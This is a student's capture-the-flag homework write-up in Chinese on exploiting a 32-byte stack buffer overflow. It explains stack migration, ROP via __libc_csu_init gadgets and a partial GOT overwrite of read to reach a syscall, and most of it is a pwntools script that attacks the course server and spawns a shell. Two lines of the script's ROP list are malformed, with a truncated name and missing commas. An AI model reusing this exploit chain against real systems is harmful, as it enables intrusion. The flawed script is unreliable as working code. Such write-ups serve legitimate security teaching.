Software Security Hw03 - readme

```
int main(){
        char buf[0x20];
        setvbuf(stdout,0,_IONBF,0);
        printf("Read your input:");
        read(0,buf,0x30);
        return 0 ;
}
```

本題一開始可以利用overflow來控制rbp以及return address，我們利用main中read到rbp-0x20, 做進一步的寫值

```
0x40062b:
lea    rax, [rbp-0x20]
mov    edx, 0x30
mov    rsi, rax
mov    edi, 0
call   <read@plt>
```

第一次read的時候將rbp寫成buf1, ret 寫成 0x40062b
buf1-0x20的前20byte任意值, 在buf1 寫入buf2的address, buf1+8寫入0x40062b

之後我們便可以對buf2寫入，在buf2-0x20前20byte寫入我們要的rop chain
之後再寫入buf1的address以及0x40062b這樣子我們就可以不斷在buf1跟buf2中間做stack migration，依序把rop chain寫到buf2的位置

rop chain 可以利用 __libc_csu_init 中的block進行操作

```
0x0000000000400690 <+64>:    mov    rdx,r13
0x0000000000400693 <+67>:    mov    rsi,r14
0x0000000000400696 <+70>:    mov    edi,r15d
0x0000000000400699 <+73>:    call   QWORD PTR [r12+rbx*8]
```

```
0x00000000004006aa <+90>:    pop    rbx
0x00000000004006ab <+91>:    pop    rbp
0x00000000004006ac <+92>:    pop    r12
0x00000000004006ae <+94>:    pop    r13
0x00000000004006b0 <+96>:    pop    r14
0x00000000004006b2 <+98>:    pop    r15
0x00000000004006b4 <+100>:   ret
```

另外我們可以發現在libc read funtion裡面可以看到

```
0x00007ffff7b04220 <+0>:     cmp    DWORD PTR [rip+0x2d2519],0x0
0x00007ffff7b04227 <+7>:     jne    0x7ffff7b04239 <read+25>
0x00007ffff7b04229 <+0>:     mov    eax,0x0
0x00007ffff7b0422e <+5>:     syscall
```

由於aslr後的最後1.5byte是固定的
我們可以利用read, 將read的got直接改寫道read中syscall的位置

這樣我們就有Syscall 的 gadget 可以使用了
之後使用在main結束位置會將rax歸0此這個gadget 來使用 read syscall 就能繼續控制rax來使用 syscall execve來launch shell了

以下為 exploit script

```
#!/usr/bin/env python

from pwn import *
context.arch = 'amd64'

r = remote('csie.ctf.tw', 10135)
# r = process('./readme')

r.recvuntil(':')

reset_eax_leave_ret = 0x400641
leave_ret = 0x400646
read_to_buf = 0x40062b

# mov rdx, r13
# mov rsi, r14
# mov rdi, r15
# call [r12+rbx*8]
alter_r12_r13_r15_call = 0x400690
pop_rbx_rbp_r12_r13_r14_r15 = 0x4006aa

read_plt = 0x4004c0
read_got = 0x601020
buf1 = 0x602000 - 0x800
buf2 = buf1 + 0x100
buf3 = buf1 - 0x100

rop = flat([buf1,
    pop_rbx_rbp_r12_r13_r14_r15, 0, 1, read_got, 1, read_got, 0, alter_r12_r13_r15_cal
    0, 0, 1, read_got, 8, read_got, 1, alter_r12_r13_r15_call,
    0, 0, buf2+0xa0, 0, 0, 0, 0, reset_eax_leave_ret,
    pop_rbx_rbp_r12_r13_r14_r15, 0, 1, read_got, 1, read_got, 0, alter_r12_r13_r15_cal
    0,  0, 1, read_got, 0x10, buf3, 0, alter_r12_r13_r15_call,
    0, 0, 1, read_got, 59, buf1, 0, alter_r12_r13_r15_call,
    0, 0, buf1, buf3+8, 0, 0, buf3, alter_r12_r13_r15_call,
    0, 0, 0])

print "rop1_length:", hex(len(rop))

payload = flat(['A'*0x20, buf1, read_to_buf]) # read to buf-0x20, mov rsp to buf


r.send(payload)

for i in range(0, 15):
    # payload to buf1-0x20 and will mov rsp to buf-0x20
    payload = flat(['A'*0x20, buf2+i*0x20, read_to_buf])
    r.send(payload)
    payload = flat([ rop[i*0x20:(i+1)*0x20], buf1, read_to_buf])
    r.send(payload)

raw_input('#')

payload = flat(['A'*0x20, buf2-0x20, leave_ret])
```

```
r.send(payload)
r.send('\x2e')
r.send('\x20')
read_addr = u64(r.recv(8)) - 0xe
r.send('/bin/sh\x00' + p64(read_addr + 0xe))
r.send('A'*59)

r.interactive()
```